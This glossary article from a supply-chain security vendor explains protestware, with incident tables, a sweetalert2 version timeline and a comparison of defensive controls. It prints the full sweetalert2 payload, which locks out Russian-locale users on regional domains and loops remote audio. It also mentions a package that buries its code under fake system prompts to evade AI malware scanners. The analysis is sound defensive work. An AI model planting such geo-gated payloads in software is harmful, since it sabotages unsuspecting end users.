Back to glossary

Protestware

Protestware is open source code its own maintainer changes to make a political or social statement, from install-time messages to geo-targeted file wipers.

Also known as Protest-ware, Troll package, Potentially unwanted behavior

Protestware is software its own maintainer deliberately changes to make a political or social statement, adding code that prints a message, breaks features, or destroys data for targeted users. Because it ships from the legitimate maintainer's account through the normal release process, identity-based controls treat it as trusted. Security tools also call it a troll package.

The defining property of protestware is who wrote it. A malicious package is usually published by an attacker, either under a new name or through a maintainer account takeover. Protestware is published by the person who already holds the keys. Two-factor authentication, trusted publishing, and build provenance all answer the question "did the real maintainer publish this?" For protestware the answer is yes, and that answer is the problem.

Our position is that motive does not matter for classification. Code that does something its package does not document, outside its stated function, is a supply chain risk whether the author is a thief or an activist. Disclosure and consent are the line, not the cause. By that test the node-ipc wiper was malware, and so were the at least 28 packages that copied the sweetalert2 anthem payload without saying so.

How does protestware work?

#

Protestware works by adding three things to an otherwise normal package: a trigger, a gate, and a payload. The trigger decides who is affected. The gate decides when. The payload decides what happens. In sweetalert2 all three fit in 24 lines of a 368-line source file.

Here is the payload as it appeared in sweetalert2 11.22.2, copied from src/SweetAlert.js in the registry tarball:

JavaScript
if (
  typeof window !== 'undefined' &&
  /^ru\b/.test(navigator.language) &&
  location.host.match(/\.(ru|su|by|xn--p1ai)$/)
) {
  const now = new Date()
  const initiationDate = localStorage.getItem('swal-initiation')
  if (!initiationDate) {
    localStorage.setItem('swal-initiation', `${now}`)
  } else if ((now.getTime() - Date.parse(initiationDate)) / (1000 * 60 * 60 * 24) > 3) {
    setTimeout(() => {
      document.body.style.pointerEvents = 'none'
      const ukrainianAnthem = document.createElement('audio')
      ukrainianAnthem.src = 'https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3'
      ukrainianAnthem.loop = true
      document.body.appendChild(ukrainianAnthem)
      setTimeout(() => {
        ukrainianAnthem.play().catch(() => {
          // ignore
        })
      }, 2500)
    }, 500)
  }
}

The trigger is a browser whose language starts with ru on a host ending in .ru, .su, .by, or .рф (its punycode form is xn--p1ai). The gate is a localStorage timestamp: the first visit only records the date, and the payload fires on a later visit more than three days after it. The payload sets pointer-events: none on <body>, which makes every click and scroll on the page do nothing, then plays the Ukrainian anthem on a loop. The code runs at module load, in the end user's browser, not at install time and not on the developer's machine.

The same structure, with different parts, runs through every well-known case, including the left-pad, colors, faker, and atomicwrites protests.

IncidentTriggerWhere it runsPayload
es5-ext _postinstall.js (2022, still in 0.10.64, the latest release as of October 2026)System timezone in a list of 28 Russian and Crimean zonesDeveloper machine, postinstallPrints an anti-war message with a Tor censorship-circumvention link
colors 1.4.1, 1.4.2 (January 2022)Every userAny process that loads the moduleInfinite loop, a denial of service
faker 6.6.6 (January 2022)Every userAny project that imports itPackage emptied of all code; README reads "What really happened with Aaron Swartz?"
node-ipc 10.1.1, 10.1.2 (March 2022)IP geolocation in Russia or BelarusAny process that loads the moduleOverwrites file contents with a heart emoji
peacenotwar via node-ipc 11.0.0, 11.1.0 (March 2022)Every userAny process that loads the moduleWrites WITH-LOVE-FROM-AMERICA.txt to the Desktop and OneDrive
sweetalert2 11.6.1 to 11.22.3 (2022 to 2025)Russian-language browser on a Russian or Belarusian domainEnd user's browserBlocks page interaction, loops the anthem
left-pad (2016), atomicwrites (2022)Every userResolutionPackage deleted from the registry

Only one row, es5-ext, runs from an install script. Every other payload runs when code is imported or when the registry stops serving it. That fact decides which defenses work, and we come back to it in the verdict table below.

Why are developers sabotaging their own code?

#

Developers sabotage their own packages for three recurring reasons: disputes with the registry, unpaid labor, and war. Each has produced incidents that reached far beyond the protester's own users.

The earliest well-known cases were registry disputes. In 2016 Azer Koçulu unpublished nearly 300 packages, including the 11-line left-pad, after a naming dispute over his kik package. Builds across the ecosystem broke. In July 2022 Markus Unterwaditzer deleted atomicwrites from PyPI to protest the index's two-factor requirement for critical projects. Both protests used deletion, not code.

Unpaid labor drove the colors and faker sabotage. In January 2022 Marak Squires published colors 1.4.1 and 1.4.2 with an infinite loop and replaced faker with an empty 6.6.6 release, ostensibly to protest companies that use open source without giving back. Socket's history post puts colors at more than 20 million weekly downloads at the time.

War produced the largest wave. After Russia's February 2022 invasion of Ukraine, maintainers added geo-targeted code to es5-ext, node-ipc, and sweetalert2, among others. The node-ipc author went furthest: his 10.1.1 and 10.1.2 releases, published March 7, 2022, contained a file wiper aimed at Russian and Belarusian IP addresses.

The deletion route has mostly closed on npm. Under npm's unpublish policy, a package more than 72 hours old can only be unpublished if no other package depends on it, it had fewer than 300 downloads last week, and it has one maintainer. A popular package cannot be pulled by its author anymore, so modern protest moves into the code itself.

The registry still records what happened. npm's packument keeps a time entry for every version ever published, even versions that were later removed. This command lists them:

Bash
curl -s https://registry.npmjs.org/colors | jq '{latest: ."dist-tags".latest,
  removed: ((.time|keys) - (.versions|keys) - ["created","modified"])}'
JSON
{
  "latest": "1.4.0",
  "removed": ["1.4.1", "1.4.2", "1.4.44-liberty-2"]
}

All three sabotaged colors versions are gone from versions, and latest points back to 1.4.0, a release from 2019. faker got no such repair. As of October 2026, npm view faker version still returns 6.6.6, a tarball of 8 files and 3,816 bytes that contains no code at all. The maintained library lives on as a community fork, @faker-js/faker.

Is protestware malware?

#

Protestware is malware when it acts without the user's knowledge or consent. When the behavior is disclosed and stays inside its own output, it is closer to an unusual license term. The difference is not the cause. It is whether a reasonable person installing the package could know what it does.

The GitHub Advisory Database grades protestware by damage, not by disclosure. The node-ipc advisory, GHSA-97m3-w2cp-4xx6, assigns CVE-2022-23812 and a CVSS score of 9.8, critical. It describes "embedded malicious code that was introduced by the maintainer" that would "overwrite arbitrary files dependent upon the geo-location of the user IP address." The three sweetalert2 advisories are all rated low, including the one covering versions that froze pages with no disclosure at all. es5-ext's install-time message has no advisory. We think disclosure deserves more weight than that: an undisclosed nuisance in a dependency is a breach of the contract a package makes with its users, even when nothing is destroyed.

Socket draws the line at disclosure, with one alert and one escalation:

The alert name is deliberately broader than politics. "Potentially unwanted" comes from desktop antivirus, where Microsoft defines potentially unwanted applications as software that is not malware but "might perform actions on endpoints that adversely affect endpoint performance or use." Adware, bundled installers, and detection-evading tools are the classic potentially unwanted programs (PUPs). In a package registry the equivalent is code that does something unrelated to the package's stated function, from joke and parody packages to political payloads. In June 2026 we applied the same alert to shai_hulululud, an npm package built to break AI malware scanners, which buried its code under 3.5 million tokens of comments and fake system prompts.

The sweetalert2 payload, version by version

#

The sweetalert2 protestware lived in the package for nearly 40 months, growing from a link banner into a page-freezing payload, and the README disclosed it only after the payload already existed. We reconstructed the timeline below by downloading each tarball from the npm registry and searching it for the trigger code.

The figure shows the same seven milestones as this table. The first four shipped with no README disclosure.

VersionPublishedChange
11.4.9April 21, 2022Adds a banner of anti-war YouTube links for navigator.language === 'ru' on .ru, .su, .рф
11.6.1October 21, 2022Replaces the banner: disables pointer events and loops the anthem
10.16.10, 9.17.3, 8.19.1November 21 to 23, 2022Backports the payload to three older major lines, with no README notice
11.6.12November 23, 2022Adds the localStorage gate, so only repeat visitors after 3 days are hit
11.6.14November 24, 2022README discloses the behavior for the first time
11.7.11June 6, 2023Adds .by (Belarus) to the target domains
11.22.4August 14, 2025Payload and README notice removed

Two details matter beyond this one package.

First, the backports. sweetalert2 10.16.10 was published 18 months after 10.16.9. A project declaring "sweetalert2": "^10.16.0" that had not touched the dependency in a year and a half picked up the payload on its next install without a lockfile. Semantic versioning ranges assume a patch release is safe to take automatically. Protestware exploits that assumption directly.

Second, the disclosure lagged. Versions 11.6.1 through 11.6.13 shipped the page-freezing payload with no README notice, and none of the three backport READMEs ever mention it. The GitHub advisory for those versions, GHSA-qq6h-5g6j-q3cm, covers 11.4.9 through 11.6.13. A second advisory, GHSA-mrr8-v49w-3333, covers 11.6.14 through 11.22.3, and a third, GHSA-457r-cqc8-9vj9, covers the 10.x backports. All three are rated low.

Why can't npm audit see vendored protestware?

#

npm audit cannot see vendored protestware because it matches advisories against package names and version ranges in the dependency tree, not against code. When another package bundles sweetalert2 into its own build output, the payload is still there, but the name sweetalert2 is gone.

We tested this in October 2026 with two fresh projects. The first installs sweetalert2 directly:

Shell Session
$ npm i sweetalert2@11.22.2 && npm audit
# npm audit report

sweetalert2  11.6.14 - 11.22.3
sweetalert2 contains potentially undesirable behavior - https://github.com/advisories/GHSA-mrr8-v49w-3333
fix available via `npm audit fix`
node_modules/sweetalert2

1 low severity vulnerability

The second installs be-table-template 2.9.8, a React data-grid package and one of the 28 our researchers found. Its package.json lists sweetalert2 only under devDependencies, which consumers never install. Its build bundled sweetalert2 into dist/index.js, a 3.6 MB file that carries the same payload, minified:

Shell Session
$ npm i be-table-template@2.9.8 && npm audit
found 0 vulnerabilities

$ grep -o 'if("undefined"!=typeof window&&/^ru.\{100\}' node_modules/be-table-template/dist/index.js
if("undefined"!=typeof window&&/^ru\b/.test(navigator.language)&&location.host.match(/\.(ru|su|by|xn--p1ai)$/)){var Po=new Date,Mo=loca

The figure contrasts the two views of the same install. On the left, npm audit sees your app, be-table-template 2.9.8, and its runtime dependencies such as antd and react-window, with no sweetalert2 node, so it reports 0 vulnerabilities. On the right, the tarball holds package.json, which lists sweetalert2 only under devDependencies, and a 3.6 MB dist/index.js that contains the bundled sweetalert2 code, including the navigator.language trigger and the pointerEvents="none" payload from sweetalert2 11.22.2.

The advisory system worked as designed for sweetalert2 and failed silently for every package that copied it. Socket's researchers found the payload in at least 28 packages and nearly 2,000 versions. Any of them can reach an application as a transitive dependency, several levels below anything a developer chose to install.

This is the general argument for analyzing what is in a package, not what its metadata claims. Bundlers, vendored copies, and minified dist/ folders erase the names advisory matching depends on. The only stable signal is the code.

Controls that stop protestware, and controls that don't

#

No single control stops protestware, because protestware arrives through every channel a legitimate release uses. The table below scores each common control against the four delivery channels in the incidents above.

ControlInstall-script message (es5-ext)Payload in module code (colors, node-ipc, sweetalert2)Vendored copy (be-table-template)Deletion (left-pad)
Install scripts off by default (pnpm 10, npm v12)Stops itNo effectNo effectNo effect
Lockfile pinned to a pre-protest versionStops it until you updateStops it until you updateStops it until you updateNo effect without a cache or mirror
Dependency cooldownOnly if pulled within the windowOnly if pulled within the windowOnly if pulled within the windowNo effect
Advisory scanning (npm audit)No advisory existsCatches it after an advisory is filedMisses itNo effect
2FA, trusted publishing, provenanceNo effectNo effectNo effectNo effect
Code analysis of each new versionCan flag itCan flag it before installCan flag itNo effect; mirror or cache tarballs

Verdict: install-script blocking and provenance address other attacks, not this one. A lockfile plus code analysis of every version you move to is the only combination that covers the module-code channel, which is where nearly all damaging protestware has lived.

Each control has a cost the table does not show.

  • Blocking install scripts. npm v12 made dependency install scripts opt-in in July 2026, following pnpm 10. That stops the es5-ext message and nothing else on this list. It is still the right default, because almost every worm and credential stealer on npm since late 2025 ran at install time.
  • Pinning. A lockfile keeps you on a known version, but it says nothing about whether that version is clean. A team that pinned sweetalert2 11.14.0 in September 2024 pinned the payload. Every update is a new trust decision.
  • Cooldowns. A dependency cooldown helps only when sabotage is caught and pulled faster than the window. node-ipc 10.1.1 and 10.1.2 were replaced within about a day. sweetalert2's payload lasted almost three years. As our post on Cargo's cooldowns puts it, a release that escapes detection can simply outlast the cooldown.
  • Forking. When Vue CLI's dependency on node-ipc became untenable, the project replaced it with the @achrinza/node-ipc fork. Forking removes the protesting maintainer from your trust chain and adds the fork's maintainer to it.

Maintainer identity offers no lasting assurance either. In May 2026 an attacker took over a dormant co-maintainer account on node-ipc and published credential-stealing versions 9.1.6, 9.2.3, and 12.0.1 in the node-ipc compromise. The same package has now shipped destructive code from its real maintainer and stolen credentials through a hijacked one. Both releases came from accounts npm considered authorized.

The open problem: deciding what a package is for

#

Protestware detection depends on a judgment that no registry metadata encodes: what is this package's primary function? Our alert fires on behavior "unrelated to its primary function," which means the detector has to know that a modal-dialog library has no reason to read navigator.language, set pointer-events on <body>, or fetch an MP3 from a .ru host. A file wiper is easy to flag in any context. A geo-gated message is not, and the same navigator.language check is ordinary in an i18n library.

That judgment is increasingly made by models, and package authors have noticed. shai_hulululud targeted the scanner, not the user. The durable defense is the same one that works against every other variety of maintainer-shipped surprise: diff each new version against the last one you trusted, and ask what changed and why. The registry tells you who published a release. Only the code tells you what they published.